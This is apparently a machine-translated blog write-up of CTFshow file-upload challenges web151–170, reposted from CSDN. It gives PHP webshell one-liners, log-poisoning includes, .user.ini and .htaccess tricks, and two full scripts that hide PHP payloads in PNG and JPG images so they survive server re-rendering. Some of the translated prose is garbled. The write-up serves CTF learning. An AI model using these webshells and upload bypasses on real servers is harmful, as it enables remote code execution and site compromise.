CTFshow - Web エントリ - ファイルのアップロード

web151

フロントエンド検証
ここに画像の説明を挿入
アップロード形式をphpに改変し、馬の文章をアップロードし、蟻の剣を旗に繋ぐ
ここに画像の説明を挿入

web152

バックエンド検証
文をアップロードし、pngファイルをキャプチャし、
ここに画像の説明を挿入
ファイル名のサフィックスをphpに変更し、アクセスを解析し、アリの剣をフラグに接続します.

web153

開いて、/upload の下に index.php ファイルがあることを確認します。.user.ini を使用できます。.htaccessおよび .user.ini 構成ファイルを参照してください Magic Use
PHP Manual - about php.ini 構成項目については、
削除しますフロントエンドからsuffix制限、acceptをfileに変更、upload user.ini
ここに画像の説明を挿入
Content-Typeをimage/pngに変更して
ここに画像の説明を挿入
1.txtファイルのuploadも成功
ここに画像の説明を挿入
アリ剣接続フラグ取得。

web154

ここに画像の説明を挿入
上記の質問の方法は、ファイルのコンテンツが準拠していないことを示しています. ファイル ヘッダーに GIF89a を追加すると、まだ機能しません. いくつかの試行の後...php がフィルタリングされていることがわかったので、短いAnt Sword にタグを付けて
ここに画像の説明を挿入
フラグに接続します。

web155

上記の方法に従うことはまだ可能です。
ここに画像の説明を挿入

web156

前のものに基づいてフィルタリングされており[]{}で置き換えることができます。

web157

;をフィルタリングした後{ 、直接コマンドを実行しても問題ありません

<?=`tac ../fl*`?>

ここに画像の説明を挿入

web158

同上

<?=`tac ../fl*`?>

web159

まだできる

<?=`tac ../fl*`?>

web160

ログにはバイパスが含まれています

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

最初にファイルをアップロードし.user.ini、次にtxtファイルをアップロードすると、内容は<?=include"/var/lo"."g/nginx/access.lo"."g"?>フィルター ログを考慮し、次に User-Agent を<?php eval($_POST[1]);?>Ant Sword で接続されたフラグに変更します。
ここに画像の説明を挿入

web161

iniファイルのアップロード時に、Ant Sword接続のフラグGIF89A
ここに画像の説明を挿入
ここに画像の説明を挿入
にUser-Agentを追加・修正します。<?php eval($_POST[1]);?>

web162、web163

これを先に…

web164

セカンダリ レンダリング バイパス

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    
    
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

スクリプトは画像のアップロードを生成し、コマンド Ctrl+S を実行してファイルをダウンロードし、フラグを取得します。
ここに画像の説明を挿入

web165

jpg 画像の二次レンダリング バイパス

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    
    
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
    
    
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
    
    
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
    
    
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
    
    
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
    
    
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
    
    
                    while((!$dis->eof())) {
    
    
                        if($dis->readByte() === 0xFF) {
    
    
                            if($dis->readByte !== 0x00) {
    
    
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
    
    
                    $outStream = $outStreamTmp;
                } else {
    
    
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
    
    
                    die('Success!');
                } else {
    
    
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
    
    
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
    
    
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
    
    
            if(isset($m[1])) {
    
    
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
    
    
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
    
    
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
    
    
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
    
    
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
    
    
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
    
    
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
    
    
            if($this->eof()) {
    
    
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
    
    
            if(strlen($this->binData) < 2) {
    
    
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
    
    
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
    
    
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
    
    
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
# 用法  php exp.php a.png

web166

フロント エンドでは、zip 形式でアップロードする必要があります。文を直接含めて
、Content-Type を次のように変更できます。application/x-zip-compressed
ここに画像の説明を挿入
ここに画像の説明を挿入

web167

このトピックは、.htaccessバイパスに使用する httpd を要求します
ここに画像の説明を挿入

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

ここに画像の説明を挿入

ここに画像の説明を挿入
次に、 Ant Sword がフラグに接続されているという文を含む写真をアップロードします。

web168

基本的なアンチキル
png をアップロードしてパッケージをキャプチャし、ファイル形式を php に変更し、ファイルの後にコマンドを実行して、
ここに画像の説明を挿入
ここに画像の説明を挿入
フラグが上位ディレクトリにあることを確認し、直接 rce
ここに画像の説明を挿入

web169

最初に index.php をアップロードしてから、ログを使用してインクルードし、.user.ini
ここに画像の説明を挿入
UA をアップロードして文、アリ ソード接続をインクルードします。

web170

同上。

おすすめ

転載: blog.csdn.net/h_adam/article/details/122815530